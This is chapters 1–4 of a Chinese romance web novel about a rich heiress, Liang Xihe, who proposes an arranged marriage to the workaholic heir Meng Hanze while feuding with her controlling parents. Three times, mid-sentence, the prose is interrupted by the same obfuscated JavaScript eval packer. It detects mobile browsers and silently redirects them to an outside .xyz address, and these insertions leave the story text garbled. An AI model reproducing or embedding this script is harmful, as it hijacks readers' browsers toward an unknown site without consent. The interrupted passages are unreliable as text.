《晚风甜吻[先婚后爱]》 1. 第 1 章 十一月深秋,漫天银杏叶雨的宁市迎来一场大降温。 电梯从玄关直达B1,刚离开暖气的梁奚禾薄绒卫衣加鲨鱼裤,门一打开就感觉到了明显凉意。积雨云灰的miniKelly没有挎到身上,她将肩带与手柄收拢捏在一起,抱着胳膊大步迈向停车场。 这一片车位是顶层住户的私人区域,与大楼的公共停车场有墙体分隔,保证了私密性,另外还设有专用的地库出入口。上千平的空间里,这会儿只停着她的车,和三部陌生的顶级轿车。 其中一辆充满时代气息的老款迈巴赫,像一位成熟儒雅的绅士,在两辆劳斯莱斯旁边尤为吸睛,梁奚禾不由侧目看了好几眼。 昨天她刚回国入住这边,对这些车的主人完全陌生,不过能当她的邻居的,必定也是宁市有头有脸的人物,说不定就是她父母的朋友。 这几辆清一色的黑色轿车对面,就是她的两部颜色张扬的跑车。经典红的法拉利敞篷版和祖母绿的阿斯顿马丁,是十八岁时,梁茂林和奚云岚夫妇送给她的成人礼。 刚收到车时她还没有驾照,等拿到证又去了英国留学,一去就是五年多。所以两部超跑自购入后基本闲置,只有家里司机定期开出去拉一拉。 梁奚禾今天一身灰色系,出行就选了更亮眼的法拉利作搭配,上车后轻抚过方向盘,老友久别重逢般与爱车温存了一番后,她戴上墨镜,启动车辆驶向出口。 天冷没开顶篷,密闭车内细听V8声浪美妙至极,为了听这久违的声音,她没放音乐。 道闸提前放行,法拉利没有阻滞地冲上坡道,尽头就是人来人往的市政道路,三个月前在德国不小心撞车留下了阴影,梁奚禾下意识地将踩油门的力度收回了三分。 也幸好收了三分,不然眼前这辆车突然从天而降横到面前时,她真不一定能刹得住。 身体随着急刹猛地向前俯冲,额头差点磕到方向盘上,从惊骇中缓过神,梁奚禾抬头。 肇事车辆下来一个偏矮微胖的人影,绕过车头朝她走来,竟是“发小”胡威。当年两家父母安排他俩一起出国,说是互相有个照应,但这人给她的从来只有膈应,就像现在。 梁奚禾气急,没忘记摁了手刹,沉着脸拉开车门。 “作死啊你!” “抱歉抱歉!” 胡威一看到她就双手合十连连讨饶。 保安跑上来察看情况,确认她是不是安好,又挡到她身前,被驱逐的胡威着急:“禾苗,我真的有事找你。” 梁奚禾不耐,但还是给他留了三分薄面,跟保安表示自己可以处理。 保安离开后,她微抬下巴:“你最好说出一个让我不追究的理由。” 胡威的声音不自觉低了两度:“禾苗,你拉黑我不要紧,怎么把郭凯诚也拉黑了啊……” 他怕是没看到她要杀人的眼光,梁奚禾干脆将墨镜摘了盯着他,毫不留情地冷嘲:“你说了几年创业,原来就是去给别人当跑腿?” “他追了你两年都没放弃,说明是真的喜欢你,不然我也不乐意帮他跑腿。他现在回不了国,你又拉黑了他,他快急死了。” 梁奚禾一听更生气:“追我怎么了,我不能拉黑他?你又是我什么人,有资格过问我的私事?” 胡威沉浸在自己的逻辑里:“那是郭家二公子,牛津高材生,家世能力都配得上你,我不想你错过。”又强调,“梁叔叔和奚阿姨肯定也赞成我的看法。” 她哂笑:“既然这人这么好,那你不如去趟泰国,自己嫁给他好了。” 胡威不在意她的奚落,一心要把好人做到底:“你先把微信给他加回来好不好?有什么误会给他一个机会解释……” 这时,身后有车轮碾上坡道的声音。 梁奚禾回头,黑色的幻影车速不算很快,看到他们堵在路上后马上停了下来,是停在她车对面的其中一部。 幻影车内,司机侧头:“孟总,前面好像出了事故。” “不急。” 后座的男人没抬头,骨节分明的手指在屏幕上轻点,专注地用手机回着工作邮件。 司机回视前方,保持安静。 幻影没有闪灯也没有鸣笛催促,像是耐心地等待他们处理纠纷。 梁奚禾收回视线。 但他们没什么问题需要解决,纯粹是胡威自以为是地多管闲事。 她犯不着跟别人解释自己对待追求者的态度,也不想耽误新邻居的出行,就不再多费口舌。 “我数到10。” 酒红色的指甲冲横着的车一点,她说,“再不滚,我就直接把它顶开了。” 胡威愣愣地看她坐回了车内,启动后挂在空挡踩下了油门,等到一下又一下的声浪冲击耳膜,他才意识到她是打算来真的。 她疯了吗! 他慌忙跑回车上,在超跑蓄势待发的轰鸣声中手脚都是抖的。 踩到第11下油门时,法拉利果真如蛰伏已久的豹子般矫捷地跃起。 胡威仓促逃窜,车身险险避过后,法拉利轻盈地过弯,从他车侧一掠而过。 此时,幻影后座的男人被这不同寻常的动静惊动,掀起眼皮正看到红色超跑像一支能刺破所有桎梏的利箭一般冲上云霄,带着睥睨一切的气势绝尘而去。 . “渝粤”是一家会员预约制的私房菜,坐落在老城区的一处窄小巷弄里。 红色超跑像一团火焰流星似的停驻到巷口时,餐厅两位服务生已经等候多时,梁奚禾下了车,将钥匙抛给其中一位去泊车,另一位便引着她往里走。 微信上闺蜜夏初已经催了她两次,最近一次是条语音:“磨磨叽叽的禾苗,你再不来我先吃了,下午还有会。” 巷弄里穿堂风很大,梁奚禾冷得打寒战,吸着鼻子对手机说话:“我已经在门口了,你有点耐心好不好。”来不及参观,直奔二楼包厢。 夏初从窗户里看到了她衣衫单薄蜷缩着发抖的样子,招呼服务生上菜,嘱咐例汤要立刻马上。 梁奚禾坐下就有热汤喝,一口气喝掉大半盅,暖意从脾胃扩散至四肢百骸,才缓过来说闲话:“这家店真有意思,川菜混搭粤菜。” 桌上一半川菜是夏初的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829914|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味,梁奚禾胃不好,只能吃另一半粤菜。闺蜜俩从小感情甚笃,唯独吃不到一块儿,这家店太适合她们。 夏初从公司出来时已经饥肠辘辘,顾不上陪她闲聊,连吃了几口剁椒鱼头配米饭后开门见山地问:“你怎么突然想要我弟微信?” 她第一次主持工作就碰了壁,上午开完会头昏脑涨地走出会议室时,看到了梁奚禾的私信:【初儿,把你弟名片推我。】 想起闺蜜昨天回国了,她当即回了电话过去,把人叫出来吃饭。 “当然是有事啊。” 梁奚禾慢悠悠地享受着入口即化的无骨大鳊鱼,随口答道。 夏初玩笑:“别告诉我,你拒绝了优质追求者打定主意回来联姻,结果挑中了我那不成器的弟弟。” 咳。 梁奚禾差点呛住,抽了纸巾掩唇咳嗽,见她反应这么大,夏初会错了意,皱眉:“我发你那么多人选里难道没个好人了,要选我弟?” 梁奚禾喝口温水压压惊,放下杯子忙说:“我选好了。当然不是你弟。” “那就好。选了谁?” “孟翰泽呗。” 她一副随便选了一个的语气。 夏初一顿,抬头觑她:“如果你有仔细看邮件的话,应该知道我是按照工作狂程度排的先后,把他放在第一个,不是着重推荐他的意思。” 梁奚禾自进门就噙着的笑意微敛,看向短发扣在耳后的夏初,耳钉泛着银色光泽,显得五官精致利落,也很是冷厉。 真朋友,她没掩饰自己的不适,问道:“你变得咄咄逼人,是这两年在职场上磨练出来的吗?” 夏初愣住,意识到自己刚刚说话的口气,带上了今早在会议室吵架的惯性。 她揉了揉太阳穴,放缓了语气:“对不起禾苗,最近工作不太顺利,是我没调整好情绪。” 梁奚禾不回避矛盾,习惯事情说开后就让它过去,她回答上一个问题:“因为我想选的就是工作狂。” 毕业前夕,梁茂林就开始拼命说服她继承他的事业——做不锈钢起家的梁氏集团,可她对“钢铁是怎样炼成的”完全不感兴趣,建议他在退休前物色职业经理人。 梁氏是家族企业,在梁董看来理应一代传一代,把集团完全交给聘请的外人打理,他没想过。 双方僵持不下,每次通话视频聊到这个话题都会火花四溅。 她再一次严正申明“你们不要试图永远掌控我的人生”时,梁董明确表示那他也将不再试图为她的一切消费买单。 烦不胜烦的梁奚禾最终决定,给他找个出色的女婿接班。 夏初觉得这脑回路清奇,首先草率地择偶是对自己的人生不负责任,其次让另一半染指家业的风险不可估量,何况还是没感情的塑料老公。 她试图相劝,但考虑到自己此刻的情绪状态极有可能造成不欢而散,便说:“今天我赶时间,这事我们周末细聊,你也正好再想想。” 梁奚禾从嘟嘟煲里挑了鸡翅吃,漫不经心地接话。 “还想什么,我昨天在飞机上就给孟翰泽发过信息了。” 2. 第 2 章 “……你发了什么?” “就说我是梁茂林的女儿,问他想不想联姻,最迟三天要答复我。” 太直接了! 夏初一不小心咬到了花椒,舌头一麻,端过冰椰子水灌了一大口后问:“他回了吗?” “还没有。” 梁奚禾看她频频灌冰饮,以为她被吓到,解释,“我想工作狂一般都没有太多时间寒暄,所以直奔主题。当然我也希望速战速决,如果他拒绝我,我好去接触planB。” PlanB是谁夏初没打算细问,可能潜意识里觉得梁奚禾被拒绝的概率不大。 在宁市流传着“皇梁一孟”的说法,因为梁氏和孟氏一向是这座城市的经济支柱,放在全国来看也是不锈钢行业的两大龙头企业。其地位和重要性,从市政府特批两家在市中心建造双子大厦已可见一斑。 作为梁家的独女,梁奚禾从小集万千宠爱于一身,双子大厦中的东楼就是梁董送给宝贝女儿的毕业礼物。这栋楼高达456米,共有88层,在她十八岁时破土动工,今年年初落成,正好迎接它的主人学成归来。 除了家世跟孟翰泽旗鼓相当,梁奚禾本人还长着一张干净精致的初恋脸。因小时候每天穿着不重样的公主裙上学,至今圈内朋友提起她时还习惯性称呼一声“小公主”。 夏初凝视着一手捂着滑落的发丝,埋头专心干饭的公主殿下,莹白的脸上不施脂粉,鼻子冻得泛红,加上那双难得的葡萄眼,整个人软绵绵水汪汪的样子,让人油然而生保护欲。 很有欺骗性。 夏初一点都不担心她会出师不利,担心的是:“你对孟翰泽了解多少?” 梁奚禾摇头,继续吃自己的。 收到宁市适龄公子哥们的简历后,她只看了他们的教育和工作经历就挑中了孟翰泽。至于上面有没有其他私生活信息,她甚至都没有留意。 夏初对无爱的婚姻不感兴趣,收集这些二代的资料是防着哪天家里老头子给她安排一出盲婚哑嫁,她不想打没有准备的仗,备齐黑料到时好堵老头的嘴。 不过与梁氏齐名的孟氏高出夏家太多,她觉得老头子攀附不上,所以没怎么查孟翰泽。 看了眼腕表,她言简意赅地将为数不多的情报据实以告。 “他三十岁,单身,不混圈,零绯闻,每逢初一十五必定上山进香,风雨无阻。” 梁奚禾停下了筷子,因为惊讶而微微睁大眼睛。 夏初继续:“孟家这位太子爷,工作之余像是坚守着某种清规戒律,十分洁身自好。”想了想,找到一个更恰当的形容词,“端方矜贵。” 总结:“不像是你的菜。” 梁奚禾虽然算不上离经叛道,但绝对不是愿意循规蹈矩的人,怎么可能忍受和这样板正的男人在一起一辈子。她担心闺蜜一时心血来潮,闪婚闪离。 可显然两人对婚姻的理解大相径庭。 听完这番话的梁奚禾竟然两眼放光:“清冷佛子?我运气真好,正希望联姻不联系呢,就怕碰上黏人精。” 就像郭凯诚那种,还不是男朋友呢,一天恨不得问一百遍“你在干嘛”。烦不烦啊?她最受不了这种监视器男人,干脆拉黑。 第一次听说她打算“联姻不联系”的夏初:“……” 莫名有种来不及力挽狂澜,眼看泥石流即将爆发的无力感。 再不走,下午的会要迟到了,夏初起身:“禾苗,看来我拉不住你,只能寄希望于那位孟总能理智一点了。” 梁奚禾放下筷子,抽纸巾摁了摁唇角,半仰着头回视她:“难道摘除恋爱脑的我还不理智吗?记得把你弟微信推我。” 夏初对着她没心没肺的笑脸,无奈摇头。 送走了夏初,刚从美食大荒漠回来的梁奚禾一个人享用了午餐,饭后又慢条斯理地吃了小半个漏奶华。 这家不光粤菜做得不错,港式甜品也有一套,下楼离开时,她问老板要联系方式,方便以后订位置,老板支支吾吾了半天没报出一个完整的手机号码。 梁奚禾感到奇怪:“你怎么了?” 老板惶恐地搓着手:“梁,梁小姐,你的车,奚总刚刚让人开走了……” “……” 因为反对接班的事,这段时间梁奚禾跟父母的关系时好时坏,远不如之前亲密。她昨天回来直接去了新房子,今天起床就找夏初吃饭,没有像以往那样第一时间去见他们。 奚云岚女士大概是生气了。 她施施然掏出手机给母上拨去电话“请罪”,刚响了两声就被对方摁掉。奚总几乎不会拒接女儿的电话,除非确认女儿很安全,而她本人非常生气。 这么生气?梁奚禾微微挑眉,看来得亲自前去安抚。 她马上联系奚云岚的助理:【梅姐,我妈妈现在在公司吗?】 梅姐看到信息下意识地瞄了一眼周身低气压的奚总,唇角向下,钢笔划在文件上哗哗作响,签名签出了斩立决的架势,就没敢堂而皇之地给梁奚禾通风报信,等她捧着文件走出办公室,才给处于台风眼中心而不自知的人示警。 【在的。Thea,雷霆之怒。】 梁奚禾:? 不至于吧? 她莫名其妙,低头看了眼自己的穿着,是端庄优雅的奚总一贯嗤之以鼻的“上不了台面的打扮”,就不敢贸然再去触霉头。 战战兢兢的老板察言观色:“梁小姐去哪儿?我送您吧。” 他这副神仙打架,小鬼力求将功补过的样子逗乐了梁奚禾:“谢谢,我回双子大厦。” . 矗立在宁市市中心的双子大厦,紧临城市的母亲河,有风有水,坐拥着寸土寸金的宝地,成为风靡网络的新一代地标性建筑。 从大楼脚下射出城市的主干道,笔直向南延伸,沿线散射出多条次干路,再由这些枝桠分叉出无数支路,蔓延至城市的更远更深处,具象化了梁孟两大集团的影响力,已经如毛细血管似的渗透进整个宁市。 东楼是梁家的产业,底层是顶奢商场,中段是写字楼,往上是高端酒店。顶楼的两层没有作为观景台开放,而是按照梁董的意思做成了套房,留给了他的宝贝女儿自住。 梁奚禾刚听说时觉得特别稀奇,父母对她的人生充满了掌控欲,竟然会主动让她搬出来独居。 昨晚是她第一次入住,进门已经夜深,没来得及好好熟悉环境。这会儿细看,黑白拼花羊脂玉地砖,奶白色护墙板和拱门——室内装修依然是奚总一贯追求的古典优雅法式风,和家里大差不差,只是配色浅淡一些,可能考虑到年轻人的审美。 但奚总不会明白,在这种端庄、精致、有序的家里住着,必须永远攒着一股劲不能松懈。 不像家,像修行场。 就比如此刻雷迪端来的这杯温水,用一只英式古董骨瓷杯装着,经典的蝴蝶形状杯把,美则美矣,但捏着费劲。 所以梁奚禾从来不捏杯把,大剌剌地一把握住杯身,往沙发上一靠——喝水而已,当然怎么舒适怎么来,去他的矫揉造作。 雷迪是出国那年,奚云岚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829915|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特地给她聘请的生活助理,这几年一直在国外贴身照顾她,对母女俩的分歧已经见怪不怪,只是开始时梁奚禾尚在阳奉阴违,最近两年敢于当面抗争,就会时不时出点状况。 “Thea,今早发生了什么?” 永远穿着深色套装的雷迪,长发梳成光滑的发髻,做事干练却柔声细语。梁奚禾很喜欢她,就算知道是父母派来的眼线,还是忍不住亲近,把她当成知心姐姐。 她一问,清啜温水的梁奚禾乖乖说起:“没什么呀,胡威来给郭凯诚当说客,被我骂了一顿,吓跑了。” “就这样?” 这话问得奇怪,梁奚禾抬眸,对上雷迪温柔审视的目光,反问:“是不是应该你告诉我发生了什么?你为什么这么问?” 雷迪叹了一口气:“你怎么吓胡威的?怎么气得奚总要把车都封起来?” 封车? 梁奚禾蹭地弹跳起来:“封什么车?” 雷迪怕她把手中的古董瓷杯砸了,先接了过去:“下去看看吧。” 顶楼设有专用的电梯直达地库,梁奚禾连缎面拖鞋都未及换掉,一口气下到了B1。 早上出门时还空旷得连皮鞋踩在地面都有回音的地库,此时被几辆工程车堵得满满当当,头戴安全帽的工人配合着吊车将最后一面巨大的玻璃从货车上卸下来。 其余的玻璃已经安装到位——在她的两个车位四周。 两辆闲置多年的名贵超跑,好不容易等回来它们的主人,却又变成了玻璃罩中华丽丽的模型,这下就真的只能看,连摸不能摸了。 梁奚禾的太阳穴怦怦直跳。 奚云岚是在用这种方式告诉她,她的自由是有限度的,不按父母的规矩来,他们可以随时收回对她的宠爱。 她作了个深呼吸,捏紧了手机给奚云岚打电话,这回对方没有拒接。 奚云岚语气肃然,没压住怒气:“开车撞人?梁奚禾,你真是无法无天到让我大开眼界。再不好好反省,下次被关进去的,你以为还是车吗? “晚上我约了胡家吃饭,你必须给胡威道歉。” 电话随之被挂掉,绝无任何商量的余地。 自始至终,梁奚禾都没有机会说出一句话,她看着最后一块玻璃安装到位,身上颤抖。 不知是冷的,还是气的。 . 幻影下到地库,被工程车堵住去路,再次被迫停下。 司机嘟囔一声:“又是这个小姑娘。” 后座上,姚以涵看着外面的阵仗目瞪口呆,问司机:“凌叔你认识?他们怎么把车位封起来了?” 她身边的男人闻言抬眸,一眼就看到了车窗外那道纤细的身影。 听凌叔说外面那个小姑娘早上开着法拉利差点撞到人,姚以涵倒吸一口凉气:“这个姐姐看着柔柔弱弱的啊。” 一头乌黑顺直的长发,宽大卫衣下一双腿笔直细长,即使踩着平底拖鞋,身形也高挑修长,看起来就是那种清瘦文弱的女生。 姚以涵正打量着人家,忽然那女生转过身来。 她唇线紧抿,秀挺的鼻梁带着傲气,像是察觉了他们的存在侧过头,葡萄眼投来犀利的一瞥后,大步走向电梯间。 明知道对方看不清自己,姚以涵还是下意识地躲回了后座。 这时中央扶手上的手机屏幕亮起,男人也收回视线,拿过了手机。 【孟翰泽,不知道你考虑得如何了?可能素未谋面,你觉得我的提议有点冒昧。你什么时候有空,不如我们见一面?】 3. 第 3 章 姚以涵见他查看信息半晌无语,轻声问:“哥,我是不是耽误你工作了?” 哥哥自从出任集团总裁、进入董事会以来一直忙到飞起,她看过他的日程表,像苦行僧一般将时间规划精确到半小时。今天因为她生日,特地腾出时间亲自来机场接她,一定打乱了他的很多安排。 孟翰泽回过神,摁熄了屏幕:“没有。” 抬眸对上妹妹小心翼翼的眼神,放缓了声音,“今晚我在望江阁订了位置,你约朋友好好庆祝。” 闻言,姚以涵睫毛一颤,问道:“不是我们一家人吃饭吗?” 每年她的生日都是一家人为数不多可以团聚的日子,今年她去了港城读研究生,是因为不想错过跟爸爸妈妈哥哥一起吃饭,才不惜大老远飞回来。 跟朋友庆祝没那么重要。 但看哥哥默然,明白今年愿望肯定是要落空了,她垂下眼眸掰手指,咬着下唇不再说话。 孟翰泽看她一眼,斟酌着开口安抚:“妈妈这几天在吃素,爸爸大概以为你不回家所以出差了。我会过去坐坐。” 姚以涵扯扯嘴角,知道有些事哥哥也无能为力,自己没必要惹他烦心,便打起精神故作开心地说:“好啊。”眼眶酸酸地转移话题,“我们今晚住这里吗?不去找妈妈?” “嗯,明天再上山。你安心玩。” 等工程车陆续撤离不知要等多久,孟翰泽让凌叔找个角落把车停下,自己拎上妹妹的箱子,两人走去电梯间。 双子大厦的西楼是孟家的产业,当初和梁氏共同开发地块时,孟氏这边董事长姚德平没有亲自过问,全权交由长子打理,这也是孟翰泽第一次独自主持大项目。 姚德平唯一参与的意见,就是让他把顶楼四层留出来,给他们兄妹俩自住。 孟翰泽知道梁董那边把顶楼留给了他的女儿,没犹豫就把顶楼两层给了妹妹。两栋大楼顶层设有连廊可以互相往来,两个女生会比较方便。 可姚以涵听说后怎么都不肯,因为妈妈说过哥哥是长子,是孟氏的继承人,她不能住到哥哥楼上压他一头。 纠正不了她们根深蒂固的老派思想,最终孟翰泽搬进了顶楼。好在梁董的女儿似乎不常住这边,他使用公共区域时暂时还没有出现过尴尬情况。 电梯内,姚以涵说起刚刚看到的女生:“难道她就是梁家大小姐?” 孟翰泽没接话。 没指望他参与这种话题,姚以涵兀自八卦:“以前听表哥他们说梁家小公主什么的,我还以为是文静可爱类型的,真没想到她这么有个性,一言不合就开车撞人。” 早上的场景孟翰泽亲眼目睹,没开车撞人那么恶劣。 不过他没兴趣帮陌生人辟谣,从镜面中看向妹妹,只借这话题点她:“有脾气就发,没什么不好。” 姚以涵没有领会,只觉得意外。 哥哥这是,替那位梁小姐说话吗? 电梯很快到了85楼,孟翰泽将箱子放到她的玄关。 “我有个视频会,开完会下来接你去吃饭。有事找简腾。” 简腾是哥哥的生活助理,也是他们在这边的管家,姚以涵熟悉,乖巧点头:“你去忙吧。” . 15点59分。 雷迪准时出现在长廊上,牛皮底的缎面拖鞋落在羊脂玉地砖上没发出任何声音,走到奶白色的法式双开门前站定,准备喊梁奚禾起床。 改变不了爱车被封的局面,梁奚禾回到楼上就干脆钻进房间里大睡特睡倒时差,但奚云岚说了晚上要做东请胡家吃饭,她翅膀还没硬到置若罔闻的时候,睡前嘱咐雷迪四点叫她。 稍站了一会儿,抬腕看表,秒针走至四点整时,雷迪推开了门。 一室昏暗,墙角的小夜灯感应亮起,若有似无的蓝血薰衣草香气迎面而来。 她站在门口,用平板遥控音响播放了爱德华·格里格的《晨曲》,和缓的乐声倾泻而出,环绕在空旷的房间里,这是奚总从小给梁奚禾播放的唤醒音乐。 同时,从挑高的落地窗顶部垂落的幔帘缓缓启动,深秋黄昏的夕阳洒入,给浅蓝色羊绒窗帘上的莫里斯纹样蒙上一层和暖的光晕。 声与光均已就位,雷迪看向那张深蓝色丝绒宽屏床,静待片刻,陷在浅蓝真丝床品中正好眠的人,果然有了动静。 梁奚禾摘了眼罩,莹白的脸在贴肤的真丝枕套上蹭了蹭,慢悠悠地睁开双眼,放空了一会儿,她坐起来伸展了手臂,宽松的睡衣袖管滑落,露出细白的肌肤。 雷迪这才抬手在门框上轻扣两下,柔声道:“准备出发去吃晚饭吧。” 这一整天发生的事涌入脑海,梁奚禾打了个哈欠后抬眸,潮露露的葡萄眼里不见笑意,意兴阑珊的模样。 雷迪提步往衣帽间走:“晚上气温只有8度,得多穿点。” 房子的采暖系统已经开启,还没零下温度打得不高,梁奚禾离开被窝感到了凉意,把搭在床尾凳上的长浴袍套上。 衣帽间的门被推开,感应灯亮起,雷迪回头看到她新入的这件范思哲的浴袍,黑色作底,金色的巴洛克图案印花华丽繁复,在她身上不能说俗气,只是跟满屋子奚总优雅的品味格格不入。 雷迪顿了顿:“晚上还是穿裙子吧。” 这是建议她按照奚总的审美喜好来,服个软,别再挑战权威的意思。 梁奚禾听了,不置可否地走进衣帽间。 这里面有几百平,巨大的落地窗能俯瞰城市的北边。奚云岚用心地规划了几大区域,分门别类地归置着适合女儿出席各种场合的衣物首饰,灯光一打,极为奢华。 梁奚禾走到挂着秋冬装的柜子前,都是各大品牌的当季新款,但无一例外都是裙子。 作为奚云岚的芭比娃娃,她从小各色公主裙加身,已经审美疲劳至反感,兴致缺缺地收回视线。 “你帮我挑吧。”她自去洗漱。 雷迪选了一件裸粉色的粗花呢连衣裙,长袖保暖,裙长到膝盖以上,恰到好处地露出梁奚禾的一双美腿,又不失端庄。 这两年流行的珍珠饰品适合跟长辈聚餐,她便选了一副南洋白珠耳坠,搭配珍珠腰链,温婉大气。 梁奚禾随她摆弄,换装游戏结束后,自己上了隔离霜,擦了芋粉豆沙色口红。她的眼睛大睫毛长,神采足够,不用再画眼妆。 雷迪却摇头:“你不打腮红,唇色这么淡,不显气色。” 梁奚禾盯着镜子里的自己:“我嫌气色太好了,特别想画个病容唱出苦肉计,好让奚总心疼垂怜我。” 雷迪:“……” 见梁奚禾没拿小手包,反而拎起大托特,往里头塞进了一套上衣和裤装,她疑惑,“这是?” 梁奚禾轻描淡写:“吃完饭我还要去别的地方。晚上你不用等我,早点睡。” 雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829916|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪能说什么。 “好,有事联系。” · 知道女儿车子被封,梁董有意怀柔,便让司机来接她,他自己蹭老婆的车。 梁奚禾对他们这种一人唱白脸,一人唱红脸的套路了然于心,不再会因为梁董这种小恩小惠,轻易对他放下戒心。 这场鸿门宴,谁知道会吃成什么样?为了防止自己的安排被打乱,到了望江阁,下车时她将托特牢牢拎在手里。 年过五十依旧保持着窈窕身材,常年一丝不苟的套装加卷发的奚总见到她时,果不其然皱了眉头。 “这包跟你的这身裙装搭吗?装了什么,跟个逃难千金似的。” 梁奚禾好不容易堆出来的笑容僵在脸上,干巴巴地喊了句爸妈后移开视线。 胡家只有母子赴宴,人到齐,寒暄后入座。 敬过三巡,胡威妈妈:“听我家威威说,他们有个同学追禾苗追得紧,以后禾苗不会嫁去外地吧?” 被点到名的梁奚禾筷子一顿,抬眸看向对面。 这位从他们高中起就明里暗里说要亲上加亲的陈阿姨,状似悠闲地品着汤,实则暗含打量地看着她。 胡威人不如其名,虎威谈不上,从小妈宝,长这么大了,连她被追求这种无聊八卦都要跟妈妈汇报。这样的男生,也就他妈妈当成宝,还觉得跟她合适般配。 胡威知道自己又会被讨厌,惴惴不安地看过来。 梁奚禾连个眼神都没分给他,她的余光里只有梁茂林和奚云岚。两位充耳不闻,慢条斯理地喝汤品茗作壁上观。 行,她自己应付。 梁奚禾笑笑:“不会。爸爸妈妈让我回宁市,我肯定要听话的。” 话音刚落,梁茂林和奚云岚都顿了顿,随后夫妻俩默契地给了对方一个眼神,是互相警醒别让小骗子哄骗了。 陈丽英对试探出的结果喜出望外:“回宁市好啊,我跟威威也是这么说的,在宁市,有你们爸爸在,哪个人敢欺负你们?” 梁奚禾对在宁市横着走毫无兴趣,只不过是担心父母停了她的卡,才在权衡利弊后决定说好听的话,争取最大限度的自由。 陈丽英:“那以后禾苗你可要多来家里玩,阿姨一直把你当成半个女儿看的。” 眼看她又要旧事重提,如今没了“先毕业不想其他”当借口的梁奚禾躲为上策。 “爸爸妈妈,阿姨,今天我闺蜜夏初生日,还等我一起庆祝呢,抱歉,我要先走一步了。” 梁茂林和奚云岚看向她,视线中暗含警告和不满。今天他们做东,她提前离席很是失礼。 陈丽英只觉来日可期,正高兴着,特别好说话:“那等你胡叔叔出差回来,我们两家再聚。威威,你送送禾苗。” 胡威刚要起身,梁奚禾瞪着他:“别忘了,我爸妈特意请你吃饭的。”搞得胡威站也不是,坐也不是。 陈丽英一想联姻的关键还是得梁茂林夫妇点头,就没坚持。 梁奚禾这才露出今晚第一个真心实意的笑容:“那你们慢吃。爸爸,车再借我用用。” 料准了梁茂林当着外人的面不会拒绝,她脚步轻盈地走出包厢,下了楼,幻影已经等在餐厅门口。 她拉开后排车门坐了上去:“杨叔,我先换个衣服,您等等再开。” 说完升起了隔板,合上了隐私帘。 前排来不及反应的凌叔:? 4. 第 4 章 梁奚禾走后,包厢里气氛倒没怎么受影响,因自始至终主要都是陈丽英在讲话。 梁家与胡家的交情始于两个男人,奚云岚与陈丽英其实玩不到一起,今天她愿意组局是因为觉得自家女儿做错了事。刚一见面,她就摁着梁奚禾给胡威道歉,受宠若惊的胡威连连摆手说是自己有错在先,陈丽英见状便上前护着梁奚禾做个人情。 既然赔礼道歉了,在奚云岚这里,这事面上就算揭过,至于教训女儿,她不会当着外人的面。是以,后面她就没怎么主动开口,只偶尔回答陈丽英几句。 胡威的爸爸不在,梁茂林跟陈丽英也没什么好聊的,为了不冷场,只能找胡威说话,关心了一句小辈的职业规划。 胡威挠头,鼓起勇气想趁机宣布自己的创业计划,还没做完第二个深呼吸,陈丽英已经笑着替他开口:“我跟老胡商量着,想把威威送到你那里培养培养。” 胡家比起梁家到底逊色,胡威若是能入职梁氏集团,一来可以锻炼能力,二来搞不好能近水楼台先得月。 她打的什么主意,奚云岚心里清楚,喝着茶悠悠地朝丈夫瞥了一眼。 梁茂林举筷夹了一只富贵醉虾放到她碗里,示意他会处理,然后笑呵呵说:“可以啊,只要你舍得。” 陈丽英喜笑颜开地举杯敬他:“怎么会不舍得?” 梁茂林:“那我当自家孩子教着,让他先去车间里历练两年怎么样?” 去车间那真真是从基层苦差做起了,陈丽英舍不得儿子受罪,又挑不出梁茂林的不是,只能干笑着收回酒杯自己喝了一口,不再提及。 气氛微微冷凝。 这时,餐厅经理敲门进来,捧着一瓶茅台,走到主位躬身对梁茂林说:“梁董,孟总看到您的车,知道您也在这里吃饭,特地让我送瓶酒过来。” 应酬场合有时为表敬意又不贸然打扰,很多人会用送酒的方式代替亲自过来敬酒。 梁茂林笑纳:“替我谢谢他。” 他没让开酒,餐厅经理便点头致意,及时退了出去。 陈丽英找到新的话题:“孟翰泽?” 梁茂林颔首。 她这话问得多余,如今在宁市能被尊称一句“孟总”的,也就是这位太子爷了。 陈丽英一向爱聊有的没的:“姚德平这个赘婿倒是给孟家生了个好儿子。” 在场没人接话,她又八卦,“你们‘皇梁一孟’不是一贯王不见王的吗?怎么好像很熟稔的样子?” 没有王不见王这回事。 梁茂林的确看不惯私德有亏的姚德平,但梁氏和孟氏是良性竞争,维护行业市场秩序时更会同仇敌忾。而他对孟翰泽则是欣赏有加,觉得这个年轻人很有远见。 他们一老一少在很多事情上想法不谋而合,正在寻求合作的契机,不过这些暂时不方便对外界透露。 